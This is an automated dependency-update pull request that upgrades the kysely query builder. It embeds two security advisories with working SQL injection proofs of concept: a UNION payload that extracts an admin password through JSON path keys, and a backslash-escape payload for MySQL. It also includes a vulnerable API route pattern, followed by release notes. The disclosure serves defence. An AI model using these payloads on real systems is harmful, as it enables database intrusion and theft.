ReviewOS
Reload

also looking at this

stacks/food-market

chore(deps): update dependency kysely to ^0.28.17 [security] - autoclosed

#20
Closed renovate[bot] wants to merge renovate/npm-kysely-vulnerability into main
2 files +5 -3
renovate[bot] 9 days ago

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

PackageChangeAgeAdoptionPassingConfidence
kysely (source)^0.27.6 → ^0.28.17ageadoptionpassingconfidence

SQL Injection via unsanitized JSON path keys when ignoring/silencing compilation errors or using Kysely<any>.

CVE-2026-32763 / GHSA-wmrf-hv6w-mr66

More information

Details

Summary

Kysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The visitJSONPathLeg() function appends user-controlled values from .key() and .at() directly into single-quoted JSON path string literals ('$.key') without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL.

This is inconsistent with sanitizeIdentifier(), which properly doubles delimiter characters for identifiers — both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected.

Details

visitJSONPath() wraps JSON path in single quotes ('$...'), and visitJSONPathLeg() appends each key/index value via this.append(String(node.value)) with no sanitization:

// dist/cjs/query-compiler/default-query-compiler.js
visitJSONPath(node) {
    if (node.inOperator) {
        this.visitNode(node.inOperator);
    }
    this.append("'$");
    for (const pathLeg of node.pathLegs) {
        this.visitNode(pathLeg);        // Each leg appended without escaping
    }
    this.append("'");
}
visitJSONPathLeg(node) {
    const isArrayLocation = node.type === 'ArrayLocation';
    this.append(isArrayLocation ? '[' : '.');
    this.append(String(node.value));    // <-- NO single quote escaping
    if (isArrayLocation) {
        this.append(']');
    }
}

Contrast with sanitizeIdentifier() in the same file, which properly doubles delimiter characters:

sanitizeIdentifier(identifier) {
    const leftWrap = this.getLeftIdentifierWrapper();
    const rightWrap = this.getRightIdentifierWrapper();
    let sanitized = '';
    for (const c of identifier) {
        sanitized += c;
        if (c === leftWrap) { sanitized += leftWrap; }
        else if (c === rightWrap) { sanitized += rightWrap; }
    }
    return sanitized;
}

Both identifiers and JSON path keys are non-parameterizable SQL constructs that require manual escaping. Identifiers are protected; JSON path values are not.

PostgreSQL is not affected. The branching happens in JSONPathBuilder.#createBuilderWithPathLeg() (json-path-builder.js):

  • MySQL/SQLite operators (->$, ->>$) produce a JSONPathNode traversal → visitJSONPathLeg() concatenates the key directly into a single-quoted JSON path string ('$.key') — vulnerable, no escaping.
  • PostgreSQL operators (->, ->>) produce a JSONOperatorChainNode traversal → ValueNode.createImmediate(value) → appendImmediateValue() → appendStringLiteral() → sanitizeStringLiteral() doubles single quotes (' → ''), generating chained operators ("col"->>'city'). Injection payload becomes a harmless string literal.

Same .key() call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely.

PoC

End-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3):

const Database = require('better-sqlite3');
const { Kysely, SqliteDialect } = require('kysely');

const sqliteDb = new Database(':memory:');
sqliteDb.exec(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT);
  INSERT INTO users VALUES (1, 'alice', '{"city": "Seoul", "age": 30}');
  INSERT INTO users VALUES (2, 'bob', '{"city": "Tokyo", "age": 25}');
  CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT);
  INSERT INTO admin VALUES (1, 'SUPER_SECRET_PASSWORD_123');
`);

const db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) });

async function main() {
  // Safe usage
  const safe = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key('city').as('city'))
    .execute();
  console.log("Safe:", safe);
  // [ { city: 'Seoul' }, { city: 'Tokyo' } ]

  // Injection via .key() — exfiltrate admin password
  const malicious = `city' as "city" from "users" UNION SELECT password FROM admin -- `;
  const attack = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key(malicious).as('city'))
    .execute();
  console.log("Injected:", attack);
  // [ { city: 'SUPER_SECRET_PASSWORD_123' }, { city: 'Seoul' }, { city: 'Tokyo' } ]
}
main();

The payload includes as "city" from "users" to complete the first SELECT before the UNION. The -- comments out the trailing ' as "city" from "users" appended by Kysely.

Generated SQL:

select "profile"->>'$.city' as "city" from "users" UNION SELECT password FROM admin -- ' as "city" from "users"
Realistic application pattern
app.get('/api/products', async (req, res) => {
  const field = req.query.field || 'name';
  const products = await db
    .selectFrom('products')
    .select(eb => eb.ref('metadata', '->>$').key(field).as('value'))
    .execute();
  res.json(products);
});

Dynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data.

Suggested fix

Escape single quotes in JSON path values within visitJSONPathLeg(), similar to how sanitizeIdentifier() doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers.

Impact

SQL Injection (CWE-89) — An attacker can inject arbitrary SQL via crafted JSON key names passed to .key() or .at(), enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.

Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Kysely has a MySQL SQL Injection via Insufficient Backslash Escaping in sql.lit(string) usage or similar methods that append string literal values into the compiled SQL strings

CVE-2026-33468 / GHSA-8cpq-38p9-67gx

More information

Details

Summary

Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as().

Details

The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():

src/query-compiler/default-query-compiler.ts:1819-1821

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes — it does not escape backslash characters.

The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:

src/query-compiler/default-query-compiler.ts:1841-1845

protected appendStringLiteral(value: string): void {
  this.append("'")
  this.append(this.sanitizeStringLiteral(value))
  this.append("'")
}

This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():

src/schema/create-index-builder.ts:266-278

where(...args: any[]): any {
  const transformer = new ImmediateValueTransformer()

  return new CreateIndexBuilder({
    ...this.#props,
    node: QueryNode.cloneWithWhere(
      this.#props.node,
      transformer.transformNode(
        parseValueBinaryOperationOrExpression(args),
        this.#props.queryId,
      ),
    ),
  })
}

The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.

Exploitation mechanism:

In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:

  1. sanitizeStringLiteral doubles the quote: \'' OR 1=1 --
  2. appendStringLiteral wraps: '\'' OR 1=1 --'
  3. MySQL interprets \' as an escaped (literal) single quote, so the string content is ' and the second ' closes the string
  4. OR 1=1 -- is parsed as SQL
PoC
import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

interface Database {
  orders: {
    id: number
    status: string
    order_nr: string
  }
}

const db = new Kysely<Database>({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      database: 'test',
      user: 'root',
      password: 'password',
    }),
  }),
})

// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"

const query = db.schema
  .createIndex('orders_status_index')
  .on('orders')
  .column('status')
  .where('status', '=', userInput)

// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
//   WHERE `status` = '\'   ← string literal containing a single quote
//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote

To verify against a live MySQL instance:

-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');

-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';
Impact
  • SQL Injection: An attacker who controls values passed to CreateIndexBuilder.where() or CreateViewBuilder.as() can inject arbitrary SQL statements when the application uses the MySQL dialect.
  • Data Exfiltration: Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.
  • Data Modification/Destruction: Stacked queries or subqueries can modify or delete data.
  • Authentication Bypass: If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.

The attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The CreateIndexBuilder.where() docstring (line 247) notes "Parameters are always sent as literals due to database restrictions" without warning about the security implications.

Recommended Fix

MysqlQueryCompiler should override sanitizeStringLiteral to escape backslashes before doubling quotes:

src/dialect/mysql/mysql-query-compiler.ts

const LIT_WRAP_REGEX = /'/g
const BACKSLASH_REGEX = /\\/g

export class MysqlQueryCompiler extends DefaultQueryCompiler {
  // ... existing overrides ...

  protected override sanitizeStringLiteral(value: string): string {
    // Escape backslashes first (\ → \\), then double single quotes (' → '')
    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)
    return value.replace(BACKSLASH_REGEX, '\\\\').replace(LIT_WRAP_REGEX, "''")
  }
}

Alternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

kysely-org/kysely (kysely)

v0.28.17: 0.28.17

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

0.29 is right around the corner. Try the latest RC version!

🚀 Features

🐞 Bugfixes

  • fix: further harden JSON path .key(...) and .at(...) against SQL injections and exfiltrations. by @​igalklebanov in #​1804

📖 Documentation

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

What's Changed

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.16...v0.28.17

v0.28.16: 0.28.16

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

0.29 is getting closer btw. 🌶️

🚀 Features

🐞 Bugfixes

  • fix: FilterObject allows any defined value when query context has no tables (TB is never). by @​igalklebanov in #​1791

📖 Documentation

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

What's Changed

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.15...v0.28.16

v0.28.15: 0.28.15

Compare Source

Hey 👋

The introduction of dehydration in JSON functions/helpers caused an unexpected bug for consumers that have some columns defined as '${number}', e.g. '1' | '2' (also when wrapped in ColumnType or similar). Such columns, when participating in a JSON function/helper would dehydrate to number instead of staying as string.

Why dehydrate numeric strings to numbers in the first place? Select types in kysely describe the data after underlying driver's (e.g. pg) data transformation. Some drivers transform numeric columns to strings to be safe. When these columns participate in JSON functions, they lose original column data types - drivers don't know they need to transform to string - they return as-is.

This release introduces a special helper type that wraps your column type definition and tells kysely to NOT dehydrate it in JSON functions/helpers.

import type { NonDehydrateable } from 'kysely'

interface Database {
  my_table: {
    a_column: '1' | '2' | '3', // dehydrates to `number`
    another_column: NonDehydrateable<'1' | '2' | '3'>, // stays `'1' | '2' | '3'`
    column_too: NonDehydrateable<ColumnType<'1' | '2' | '3'>> // stays `'1' | '2' | '3'`
  }
}

🚀 Features

  • feat: add NonDehydrateable<T> to allow opt-out from dehydration in JSON functions/helpers. by @​igalklebanov in #​1697

🐞 Bugfixes

PostgreSQL 🐘

📖 Documentation

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.14...v0.28.15

v0.28.14: 0.28.14

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

MySQL 🐬

📖 Documentation

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.13...v0.28.14

v0.28.13: 0.28.13

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

PostgreSQL 🐘

📖 Documentation

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.12...v0.28.13

v0.28.12: 0.28.12

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

MySQL 🐬

📖 Documentation

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.11...v0.28.12

v0.28.11: 0.28.11

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

SQLite 📘
  • returning needs to come before order by in sqlite for an update..where query. by @​hwisu in #​1691

📖 Documentation

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.10...v0.28.11

v0.28.10: 0.28.10

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

PostgreSQL 🐘 / MSSQL 🥅
  • fix: Migrator attempts to create custom migration schema even if it exists and fails on dialects that don't support if not exists. by @​austin-hall-skylight in #​1608
PostgreSQL 🐘 / SQLite 📘

📖 Documentation

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.9...v0.28.10

v0.28.9: 0.28.9

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

PostgreSQL 🐘

📖 Documentation

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.8...v0.28.9

v0.28.8: 0.28.8

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features
🐞 Bugfixes
PostgreSQL 🐘
📖 Documentation
📦 CICD & Tooling
⚠️ Breaking Changes
🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.7...v0.28.8

v0.28.7: 0.28.7

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features
🐞 Bugfixes
📖 Documentation
📦 CICD & Tooling
⚠️ Breaking Changes
🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.6...v0.28.7

v0.28.6: 0.28.6

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

Docs site has been optimized and all we got was this animation:

image
🚀 Features
🐞 Bugfixes
PostgreSQL 🐘 / MSSQL 🥅
MySQL 🐬
📖 Documentation
📦 CICD & Tooling
⚠️ Breaking Changes
🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.5...v0.28.6

v0.28.5: 0.28.5

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features
🐞 Bugfixes
📖 Documentation
📦 CICD & Tooling
⚠️ Breaking Changes
🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.4...v0.28.5

v0.28.4: 0.28.4

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features
🐞 Bugfixes
PostgreSQL 🐘
📖 Documentation
📦 CICD & Tooling
⚠️ Breaking Changes
🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/v0.28.3...v0.28.4

v0.28.3: 0.28.3

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features
CockroachDB 🟣
  • fix: filter out internal cockroachdb schemas in postgres introspector by @​yawhide in #​1459
🐞 Bugfixes
MySQL 🐬 / MS SQL Server 🥅
MS SQL Server 🥅
📖 Documentation
📦 CICD & Tooling
⚠️ Breaking Changes
🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/0.28.2...v0.28.3

v0.28.2

Compare Source

Hey 👋

v0.28 broke an undocumented TypeScript behavior our API had that allowed you to pass table name unions to query builders and enable some DRYing of queries. Seeing that this pattern was quite popular, we decided to support it officially with the addition of the table method in the dynamic module.

You can pull off some crazy complex stuff like:

async function getRowByColumn<
  T extends keyof Database,
  C extends keyof Database[T] & string,
  V extends SelectType<Database[T][C]>,
>(t: T, c: C, v: V) {
  // We need to use the dynamic module since the table name
  // is not known at compile time.
  const { table, ref } = db.dynamic

  return await db
    .selectFrom(table(t).as('t'))
    .selectAll()
    .where(ref(c), '=', v)
    // `id` can be directly referenced since every table has it.
    .orderBy('t.id')
    .executeTakeFirstOrThrow()
}

const person = await getRowByColumn('person', 'first_name', 'Arnold')

...and it'll narrow the downstream query context to the intersection of all the possible shapes of tables in the union type. (DONT DO THIS AT HOME KIDS!)

A simpler example would be:

async function deleteItem(id: string, table: 'person' | 'pet') {
  await db
    .deleteFrom(db.dynamic.table(table).as('t'))
    .where('id', '=', id)
    .executeTakeFirstOrThrow()
}

If you attempt to refer to a column that doesn't exist in both "person" and "pet" (e.g. "pet"'s "species" column), the compiler will correctly yell at you.

🚀 Features

🐞 Bugfixes

SQLite 📘

📖 Documentation

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/0.28.1...0.28.2

v0.28.1

Compare Source

Hey 👋

Just a small crucial bug fix release. Please inform us if you see any more regressions since v0.28. 🙏

🚀 Features

🐞 Bugfixes

PostgreSQL 🐘
  • pg introspector - Wrap schema.table in double quotes for case handling by @​neil176 in #​1426

📖 Documentation

📦 CICD & Tooling

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: https://github.com/kysely-org/kysely/compare/0.28.0...0.28.1

v0.28.0

Compare Source

Hey 👋

Transactions are getting a lot of love in this one!

As part an effort to replace Knex with Kysely, B4nan, the author of mikro-orm drove the new setAccessMode('read only'|'read write') method when starting transactions.

You can now commit/rollback transactions manually and there's even savepoint support:

const trx = await db.startTransaction().execute()

try {
  // do stuff with `trx`, including work with savepoints via the new `savepoint(name)`, `rollbackToSavepoint(name)` and `releaseSavepoint(name)` methods!

  await trx.commit().execute()
} catch (error) {
  await trx.rollback().execute()

  throw error
}

We also added using keyword support, so now you can write:

await using db = new Kysely({...})

and db.destroy() will be called automatically once the current scope is exited. If you plan on trying this out (it is optional, you can still const db = new Kysely({...}) and await db.destroy() manually), the using keyword requires typescript >= 5.2 and the following tsconfig.json options:

{
  "compilerOptions": {
    "target": "ES2022",
    "lib": ["ESNext", ...],
    ...
  }
  ...
}

We also added a plugin to handle in () and not in (). It comes with 2 handling strategies, one similar to how Knex.js, PrismaORM, Laravel and SQLAlchemy do it, and one similar to how TypeORM and Sequelize do it. It also supports custom strategies, e.g. throwing an error to avoid making a call to the database and wasting resources. Here's an example with one of the strategies we ship:

import {
  // ...
  HandleEmptyInListsPlugin,
  // ...
  replaceWithNoncontingentExpression,
  // ...
} from 'kysely'

const db = new Kysely<Database>({
  // ...
  plugins: [
    new HandleEmptyInListsPlugin({
      strategy: replaceWithNoncontingentExpression
    })
  ],
})

// ...
  .where('id', 'in', [])
  .where('first_name', 'not in', []) // => `where 1 = 0 and 1 = 1`

🚀 Features

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

2 changed files on the files tab, with 0 review threads.

Sign in to comment on this pull request.